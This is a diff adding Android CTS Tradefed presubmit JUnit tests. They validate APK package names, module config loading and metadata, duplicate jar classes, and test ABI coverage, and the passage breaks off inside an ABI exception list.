diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
new file mode 100644
index 0000000..b50c906
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.targetprep.FilePusher;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.PushFilePreparer;
+import com.android.tradefed.targetprep.TestAppInstallSetup;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.InstrumentationTest;
+import com.android.tradefed.util.AaptParser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Class to validate tests Apks in testcases/
+ */
+@RunWith(JUnit4.class)
+public class ApkPackageNameCheck {
+
+    private static final Set<String> EXCEPTION_LIST = new HashSet<>();
+    static {
+        // TODO: Remove exception when their package have been fixed.
+        EXCEPTION_LIST.add("android.app.cts");
+        EXCEPTION_LIST.add("android.systemui.cts");
+    }
+
+    /**
+     * We ensure that no apk with same package names may be installed. Otherwise it may results in
+     * conflicts.
+     */
+    @Test
+    public void testApkPackageNames() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // We check all apk installed by all modules
+        Map<String, String> packageNames = new HashMap<>();
+
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // For each config, we check all the apk it's going to install
+            List<File> apkNames = new ArrayList<>();
+            List<String> packageListNames = new ArrayList<>();
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep instanceof TestAppInstallSetup) {
+                    apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+                }
+                // Ensure the files requested to be pushed exist.
+                if (prep instanceof FilePusher && ((FilePusher) prep).shouldAppendBitness()) {
+                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                        String path = f.getPath();
+                        if (!new File(testcases, path + "32").exists()
+                                || !new File(testcases, path + "64").exists()) {
+                            // TODO: Enforce should abort on failure is True in CTS
+                            if (((FilePusher) prep).shouldAbortOnFailure()) {
+                                fail(
+                                        String.format(
+                                                "File %s[32/64] wasn't found in testcases/ while "
+                                                        + "it's expected to be pushed as part of "
+                                                        + "%s",
+                                                path, config.getName()));
+                            }
+                        }
+                    }
+                } else if (prep instanceof PushFilePreparer) {
+                    for (File f : ((PushFilePreparer) prep).getPushSpecs(null).values()) {
+                        String path = f.getPath();
+                        if (!new File(testcases, path).exists()) {
+                            // TODO: Enforce should abort on failure is True in CTS
+                            if (((PushFilePreparer) prep).shouldAbortOnFailure()) {
+                                fail(
+                                        String.format(
+                                                "File %s wasn't found in testcases/ while it's "
+                                                        + "expected to be pushed as part of %s",
+                                                path, config.getName()));
+                            }
+                        }
+                    }
+                }
+            }
+
+            for (File apk : apkNames) {
+                String apkName = apk.getName();
+                File apkFile = new File(testcases, apkName);
+                if (!apkFile.exists()) {
+                    fail(String.format("Module %s is trying to install %s which does not "
+                            + "exists in testcases/", config.getName(), apkFile));
+                }
+                AaptParser res = AaptParser.parse(apkFile);
+                assertNotNull(res);
+                String packageName = res.getPackageName();
+                String put = packageNames.put(packageName, apkName);
+                packageListNames.add(packageName);
+                // The package already exists and it's a different apk
+                if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+                    fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+                            + "added by previous apk '%s'.",
+                            config.getName(), packageName, apkName, put));
+                }
+            }
+
+            // Catch a test trying to run something it doesn't install.
+            List<IRemoteTest> tests = c.getTests();
+            for (IRemoteTest test : tests) {
+                if (test instanceof InstrumentationTest) {
+                    InstrumentationTest instrumentationTest = (InstrumentationTest) test;
+                    if (instrumentationTest.getPackageName() != null) {
+                        if (!packageListNames.contains(instrumentationTest.getPackageName())) {
+                            throw new ConfigurationException(
+                                    String.format("Module %s requests to run '%s' but it's not "
+                                        + "part of any apks.",
+                                        config.getName(), instrumentationTest.getPackageName()));
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
new file mode 100644
index 0000000..024ca99
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -0,0 +1,395 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
+import com.android.compatibility.common.tradefed.testtype.JarHostTest;
+import com.android.tradefed.build.FolderBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.invoker.ExecutionFiles.FilesKey;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.invoker.shard.token.TokenProperty;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.AndroidJUnitTest;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.testtype.suite.params.ModuleParameters;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that configuration in CTS can load and have expected properties.
+ */
+@RunWith(JUnit4.class)
+public class CtsConfigLoadingTest {
+
+    private static final String METADATA_COMPONENT = "component";
+    private static final Set<String> KNOWN_COMPONENTS =
+            new HashSet<>(
+                    Arrays.asList(
+                            // modifications to the list below must be reviewed
+                            "abuse",
+                            "art",
+                            "auth",
+                            "auto",
+                            "autofill",
+                            "backup",
+                            "bionic",
+                            "bluetooth",
+                            "camera",
+                            "contentcapture",
+                            "deviceinfo",
+                            "deqp",
+                            "devtools",
+                            "framework",
+                            "graphics",
+                            "hdmi",
+                            "inputmethod",
+                            "libcore",
+                            "location",
+                            "media",
+                            "metrics",
+                            "misc",
+                            "mocking",
+                            "networking",
+                            "neuralnetworks",
+                            "print",
+                            "renderscript",
+                            "security",
+                            "statsd",
+                            "systems",
+                            "sysui",
+                            "telecom",
+                            "tv",
+                            "uitoolkit",
+                            "vr",
+                            "webview",
+                            "wifi"));
+    private static final Set<String> KNOWN_MISC_MODULES =
+            new HashSet<>(
+                    Arrays.asList(
+                            // Modifications to the list below must be approved by someone in
+                            // test/suite_harness/OWNERS.
+                            "CtsSliceTestCases.config",
+                            "CtsSampleDeviceTestCases.config",
+                            "CtsUsbTests.config",
+                            "CtsGpuToolsHostTestCases.config",
+                            "CtsEdiHostTestCases.config",
+                            "CtsClassLoaderFactoryPathClassLoaderTestCases.config",
+                            "CtsSampleHostTestCases.config",
+                            "CtsHardwareTestCases.config",
+                            "CtsMonkeyTestCases.config",
+                            "CtsAndroidAppTestCases.config",
+                            "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases.config",
+                            "CtsAppComponentFactoryTestCases.config",
+                            "CtsSeccompHostTestCases.config"));
+
+    /**
+     * List of the officially supported runners in CTS, they meet all the interfaces criteria as
+     * well as support sharding very well. Any new addition should go through a review.
+     */
+    private static final Set<String> SUPPORTED_CTS_TEST_TYPE = new HashSet<>(Arrays.asList(
+            // Cts runners
+            "com.android.compatibility.common.tradefed.testtype.JarHostTest",
+            "com.android.compatibility.testtype.DalvikTest",
+            "com.android.compatibility.testtype.LibcoreTest",
+            "com.drawelements.deqp.runner.DeqpTestRunner",
+            // Tradefed runners
+            "com.android.tradefed.testtype.AndroidJUnitTest",
+            "com.android.tradefed.testtype.HostTest",
+            "com.android.tradefed.testtype.GTest"
+    ));
+
+    /**
+     * In Most cases we impose the usage of the AndroidJUnitRunner because it supports all the
+     * features required (filtering, sharding, etc.). We do not typically expect people to need a
+     * different runner.
+     */
+    private static final Set<String> ALLOWED_INSTRUMENTATION_RUNNER_NAME = new HashSet<>();
+    static {
+        ALLOWED_INSTRUMENTATION_RUNNER_NAME.add("android.support.test.runner.AndroidJUnitRunner");
+        ALLOWED_INSTRUMENTATION_RUNNER_NAME.add("androidx.test.runner.AndroidJUnitRunner");
+    }
+    private static final Set<String> RUNNER_EXCEPTION = new HashSet<>();
+    static {
+        // Used for a bunch of system-api cts tests
+        RUNNER_EXCEPTION.add("repackaged.android.test.InstrumentationTestRunner");
+        // Used by a UiRendering scenario where an activity is persisted between tests
+        RUNNER_EXCEPTION.add("android.uirendering.cts.runner.UiRenderingRunner");
+    }
+
+    /**
+     * Families of module parameterization that MUST be specified explicitly in the module
+     * AndroidTest.xml.
+     */
+    private static final Set<String> MANDATORY_PARAMETERS_FAMILY = new HashSet<>();
+
+    static {
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.INSTANT_APP_FAMILY);
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.MULTI_ABI_FAMILY);
+        MANDATORY_PARAMETERS_FAMILY.add(ModuleParameters.SECONDARY_USER_FAMILY);
+    }
+
+    /**
+     * AllowList to start enforcing metadata on modules. No additional entry will be allowed! This
+     * is meant to burn down the remaining modules definition.
+     */
+    private static final Set<String> ALLOWLIST_MODULE_PARAMETERS = new HashSet<>();
+
+    static {
+    }
+
+    /**
+     * Test that configuration shipped in Tradefed can be parsed.
+     * -> Exclude deprecated ApkInstaller.
+     * -> Check if host-side tests are non empty.
+     */
+    @Test
+    public void testConfigurationLoad() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
+        FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
+        stubFolder.setRootDir(new File(ctsRoot));
+        stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
+        stubFolder.addBuildAttribute("ROOT_DIR", ctsRoot);
+        TestInformation stubTestInfo = TestInformation.newBuilder().build();
+        stubTestInfo.executionFiles().put(FilesKey.TESTS_DIRECTORY, new File(ctsRoot));
+
+        List<String> missingMandatoryParameters = new ArrayList<>();
+        // We expect to be able to load every single config in testcases/
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // Ensure the deprecated ApkInstaller is not used anymore.
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
+                    throw new ConfigurationException(
+                            String.format("%s: Use com.android.tradefed.targetprep.suite."
+                                    + "SuiteApkInstaller instead of com.android.compatibility."
+                                    + "common.tradefed.targetprep.ApkInstaller, options will be "
+                                    + "the same.", config));
+                }
+                if (prep.getClass().isAssignableFrom(PreconditionPreparer.class)) {
+                    throw new ConfigurationException(
+                            String.format(
+                                    "%s: includes a PreconditionPreparer (%s) which is not allowed"
+                                            + " in modules.",
+                                    config.getName(), prep.getClass()));
+                }
+            }
+            // We can ensure that Host side tests are not empty.
+            for (IRemoteTest test : c.getTests()) {
+                // Check that all the tests runners are well supported.
+                if (!SUPPORTED_CTS_TEST_TYPE.contains(test.getClass().getCanonicalName())) {
+                    throw new ConfigurationException(
+                            String.format(
+                                    "testtype %s is not officially supported by CTS. "
+                                            + "The supported ones are: %s",
+                                    test.getClass().getCanonicalName(), SUPPORTED_CTS_TEST_TYPE));
+                }
+                if (test instanceof HostTest) {
+                    HostTest hostTest = (HostTest) test;
+                    // We inject a made up folder so that it can find the tests.
+                    hostTest.setBuild(stubFolder);
+                    hostTest.setTestInformation(stubTestInfo);
+                    int testCount = hostTest.countTestCases();
+                    if (testCount == 0) {
+                        throw new ConfigurationException(
+                                String.format("%s: %s reports 0 test cases.",
+                                        config.getName(), test));
+                    }
+                }
+                // Tests are expected to implement that interface.
+                if (!(test instanceof ITestFilterReceiver)) {
+                    throw new IllegalArgumentException(String.format(
+                            "Test in module %s must implement ITestFilterReceiver.",
+                            config.getName()));
+                }
+                // Ensure that the device runner is the AJUR one if explicitly specified.
+                if (test instanceof AndroidJUnitTest) {
+                    AndroidJUnitTest instru = (AndroidJUnitTest) test;
+                    if (instru.getRunnerName() != null &&
+                            !ALLOWED_INSTRUMENTATION_RUNNER_NAME.contains(instru.getRunnerName())) {
+                        // Some runner are exempt
+                        if (!RUNNER_EXCEPTION.contains(instru.getRunnerName())) {
+                            throw new ConfigurationException(
+                                    String.format("%s: uses '%s' instead of on of '%s' that are "
+                                            + "expected", config.getName(), instru.getRunnerName(),
+                                            ALLOWED_INSTRUMENTATION_RUNNER_NAME));
+                        }
+                    }
+                }
+            }
+            ConfigurationDescriptor cd = c.getConfigurationDescription();
+            Assert.assertNotNull(config + ": configuration descriptor is null", cd);
+            List<String> component = cd.getMetaData(METADATA_COMPONENT);
+            Assert.assertNotNull(String.format("Missing module metadata field \"component\", "
+                    + "please add the following line to your AndroidTest.xml:\n"
+                    + "<option name=\"config-descriptor:metadata\" key=\"component\" "
+                    + "value=\"...\" />\nwhere \"value\" must be one of: %s\n"
+                    + "config: %s", KNOWN_COMPONENTS, config),
+                    component);
+            Assert.assertEquals(String.format("Module config contains more than one \"component\" "
+                    + "metadata field: %s\nconfig: %s", component, config),
+                    1, component.size());
+            String cmp = component.get(0);
+            Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
+                    + "field \"%s\", supported ones are: %s\nconfig: %s",
+                    cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+
+            if ("misc".equals(cmp)) {
+                String configFileName = config.getName();
+                Assert.assertTrue(
+                        String.format(
+                                "Adding new module %s to \"misc\" component is restricted, "
+                                        + "please pick a component that your module fits in",
+                                configFileName),
+                        KNOWN_MISC_MODULES.contains(configFileName));
+            }
+
+            // Check that specified parameters are expected
+            boolean res =
+                    checkModuleParameters(
+                            config.getName(), cd.getMetaData(ITestSuite.PARAMETER_KEY));
+            if (!res) {
+                missingMandatoryParameters.add(config.getName());
+            }
+            // Check that specified tokens are expected
+            checkTokens(config.getName(), cd.getMetaData(ITestSuite.TOKEN_KEY));
+
+            // Ensure each CTS module is tagged with <option name="test-suite-tag" value="cts" />
+            Assert.assertTrue(String.format(
+                    "Module config %s does not contains "
+                    + "'<option name=\"test-suite-tag\" value=\"cts\" />'", config.getName()),
+                    cd.getSuiteTags().contains("cts"));
+
+            // Check not-shardable: JarHostTest cannot create empty shards so it should never need
+            // to be not-shardable.
+            if (cd.isNotShardable()) {
+                for (IRemoteTest test : c.getTests()) {
+                    if (test.getClass().isAssignableFrom(JarHostTest.class)) {
+                        throw new ConfigurationException(
+                                String.format("config: %s. JarHostTest does not need the "
+                                    + "not-shardable option.", config.getName()));
+                    }
+                }
+            }
+            // Ensure options have been set
+            c.validateOptions();
+        }
+
+        // Exempt the allow list
+        missingMandatoryParameters.removeAll(ALLOWLIST_MODULE_PARAMETERS);
+        // Ensure the mandatory fields are filled
+        if (!missingMandatoryParameters.isEmpty()) {
+            String msg =
+                    String.format(
+                            "The following %s modules are missing some of the mandatory "
+                                    + "parameters [instant_app, not_instant_app, "
+                                    + "multi_abi, not_multi_abi, "
+                                    + "secondary_user, not_secondary_user]: '%s'",
+                            missingMandatoryParameters.size(), missingMandatoryParameters);
+            throw new ConfigurationException(msg);
+        }
+    }
+
+    /** Test that all parameter metadata can be resolved. */
+    private boolean checkModuleParameters(String configName, List<String> parameters)
+            throws ConfigurationException {
+        if (parameters == null) {
+            return false;
+        }
+        Map<String, Boolean> families = createFamilyCheckMap();
+        for (String param : parameters) {
+            try {
+                ModuleParameters p = ModuleParameters.valueOf(param.toUpperCase());
+                if (families.containsKey(p.getFamily())) {
+                    families.put(p.getFamily(), true);
+                }
+            } catch (IllegalArgumentException e) {
+                throw new ConfigurationException(
+                        String.format("Config: %s includes an unknown parameter '%s'.",
+                                configName, param));
+            }
+        }
+        if (families.containsValue(false)) {
+            return false;
+        }
+        return true;
+    }
+
+    /** Test that all tokens can be resolved. */
+    private void checkTokens(String configName, List<String> tokens) throws ConfigurationException {
+        if (tokens == null) {
+            return;
+        }
+        for (String token : tokens) {
+            try {
+                TokenProperty.valueOf(token.toUpperCase());
+            } catch (IllegalArgumentException e) {
+                throw new ConfigurationException(
+                        String.format(
+                                "Config: %s includes an unknown token '%s'.", configName, token));
+            }
+        }
+    }
+
+    private Map<String, Boolean> createFamilyCheckMap() {
+        Map<String, Boolean> families = new HashMap<>();
+        for (String family : MANDATORY_PARAMETERS_FAMILY) {
+            families.put(family, false);
+        }
+        return families;
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
new file mode 100644
index 0000000..c4055ef
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.config.ConfigurationException;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.LinkedHashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+
+/**
+ * Test to check for duplicate files in different jars and prevent the same dependencies of being
+ * included several time (which might result in version conflicts).
+ */
+@RunWith(JUnit4.class)
+public class DupFileTest {
+
+    // We ignore directories part of the common java and google packages.
+    private static final String[] IGNORE_DIRS =
+            new String[] {
+                "android/",
+                "javax/annotation/",
+                "com/google/protobuf/",
+                "kotlin/",
+                "perfetto/protos/"
+            };
+    // Temporarily exclude some Tradefed jar while we work on unbundling them.
+    private static final Set<String> IGNORE_JARS =
+            ImmutableSet.of("tradefed-no-fwk.jar", "tradefed-test-framework.jar",
+                    "compatibility-tradefed.jar");
+
+    /** test if there are duplicate files in different jars. */
+    @Test
+    public void testDupFilesExist() throws Exception {
+        // Get list of jars.
+        List<File> jars = getListOfBuiltJars();
+
+        // Create map of files to jars.
+        Map<String, List<String>> filesToJars = getMapOfFilesAndJars(jars);
+
+        // Check if there are any files with the same name in diff jars.
+        int dupedFiles = 0;
+        StringBuilder dupedFilesSummary = new StringBuilder();
+        for (Map.Entry<String, List<String>> entry : filesToJars.entrySet()) {
+            String file = entry.getKey();
+            List<String> jarFiles = entry.getValue();
+
+            if (jarFiles.size() != 1) {
+                dupedFiles++;
+                dupedFilesSummary.append(file + ": " + jarFiles.toString() + "\n");
+            }
+        }
+
+        if (dupedFiles != 0) {
+            fail(
+                    String.format(
+                            "%d files are duplicated in different jars:\n%s",
+                            dupedFiles, dupedFilesSummary.toString()));
+        }
+    }
+
+    /** Create map of file to jars */
+    private Map<String, List<String>> getMapOfFilesAndJars(List<File> jars) throws IOException {
+        Map<String, List<String>> map = new LinkedHashMap<String, List<String>>();
+        JarFile jarFile;
+        List<String> jarFileList;
+        // Map all the files from all the jars.
+        for (File jar : jars) {
+            if (IGNORE_JARS.contains(jar.getName())) {
+                continue;
+            }
+            jarFile = new JarFile(jar);
+            jarFileList = getListOfFiles(jarFile);
+            jarFile.close();
+
+            // Add in the jar file to the map.
+            for (String file : jarFileList) {
+                if (!map.containsKey(file)) {
+                    map.put(file, new LinkedList<String>());
+                }
+
+                map.get(file).add(jar.getName());
+            }
+        }
+        return map;
+    }
+
+    /** Get the list of jars specified in the path. */
+    private List<File> getListOfBuiltJars() throws ConfigurationException {
+        String classpathStr = System.getProperty("java.class.path");
+        if (classpathStr == null) {
+            throw new ConfigurationException(
+                    "Could not find the classpath property: java.class.path");
+        }
+        List<File> listOfJars = new ArrayList<File>();
+        for (String jar : classpathStr.split(":")) {
+            File jarFile = new File(jar);
+            if (jarFile.exists()) {
+                listOfJars.add(jarFile);
+            }
+        }
+        return listOfJars;
+    }
+
+    /** Return the list of files in the jar. */
+    private List<String> getListOfFiles(JarFile jar) {
+        List<String> files = new ArrayList<String>();
+        Enumeration<JarEntry> e = jar.entries();
+        while (e.hasMoreElements()) {
+            JarEntry entry = e.nextElement();
+            String filename = entry.getName();
+            if (checkThisFile(filename)) {
+                files.add(filename);
+            }
+        }
+        return files;
+    }
+
+    /** Check if we should add this file to list of files. We only want to check for classes. */
+    private Boolean checkThisFile(String filename) {
+        if (!filename.endsWith(".class")) {
+            return false;
+        }
+
+        for (String skipDir : IGNORE_DIRS) {
+            if (filename.startsWith(skipDir)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
new file mode 100644
index 0000000..4eb48fc
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfigurationFactory;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import junit.framework.TestCase;
+
+/**
+ * Tests that validate the CTS presubmit setup to ensure no CL will break the presubmit setup
+ * itself.
+ */
+public class PresubmitSetupValidation extends TestCase {
+    private static final String PRESUBMIT_CTS_UNIT_TESTS = "cts-unit-tests";
+
+    /**
+     * Test that the base cts unit tests configuration is still working, and has a reporter
+     * template placeholder.
+     */
+    public void testCtsPresubmit_unit_tests() {
+        IConfigurationFactory factory = ConfigurationFactory.getInstance();
+        String[] presubmitCommand = {PRESUBMIT_CTS_UNIT_TESTS, "--template:map", "reporters=empty"};
+        try {
+            factory.createConfigurationFromArgs(presubmitCommand);
+        } catch (ConfigurationException e) {
+            CLog.e(e);
+            fail(String.format("ConfigException '%s': One of your change is breaking the presubmit "
+                    + "CTS unit tests configuration.", e.getMessage()));
+        }
+    }
+
+    /**
+     * Test to ensure that Zip dependency on the Apache Commons Compress coming from TradeFed is
+     * properly setup. This dependency is required for some utilities of TradeFed to work.
+     */
+    public void testDependencyCommonsCompress() throws Exception {
+        ClassLoader loader = ClassLoader.getSystemClassLoader();
+        // This will throw an exception if dependency isn't met.
+        loader.loadClass("org.apache.commons.compress.archivers.zip.ZipFile");
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
new file mode 100644
index 0000000..096db55a
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.AaptParser;
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Set;
+
+/**
+ * Tests to validate that the build is containing usable test artifact.
+ */
+@RunWith(JUnit4.class)
+public class ValidateTestsAbi {
+
+    private static final Set<String> APK_EXCEPTIONS = new HashSet<>();
+    static {
+        /**
+         *  This particular module is shipping all its dependencies in all abis with prebuilt stuff.
+         *  Excluding it for now to have the test setup.
+         */
+        APK_EXCEPTIONS.add("CtsSplitApp");
+
+        /**
+         *  This module tests for security vulnerabilities when installing attacker-devised APKs.
+         */
+        APK_EXCEPTIONS.add("CtsCorruptApkTests");
+
+        /**
+         * This module tests for installations of packages that have only 32-bit native libraries
+         * and extract native libraries.
+         */
+        APK_EXCEPTIONS.add("CtsExtractNativeLibsAppTrue32");
+
+        /**
+         * This module tests for installations of packages that have only 64-bit native libraries
+         * and extract native libraries.
+         */
+        APK_EXCEPTIONS.add("CtsExtractNativeLibsAppTrue64");
+        /**
+         * This module tests for installations of packages that have only 32-bit native libraries
+         * and embed native libraries.
+         */
+        APK_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse32");
+
+        /**
+         * This module tests for installations of packages that have only 64-bit native libraries
+         * and embed native libraries.
+         */
+        APK_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse64");
+    }
+
+    private static final Set<String> BINARY_EXCEPTIONS = new HashSet<>();
+    static {
+        /**
+         * Tests that build for either 32 bit or 64 bit only.
+         */
+        BINARY_EXCEPTIONS.add("CVE-2017-0684" + "32");
+        BINARY_EXCEPTIONS.add("CVE_2019_2135" + "64");
+        BINARY_EXCEPTIONS.add("CVE-2020-0037" + "64");
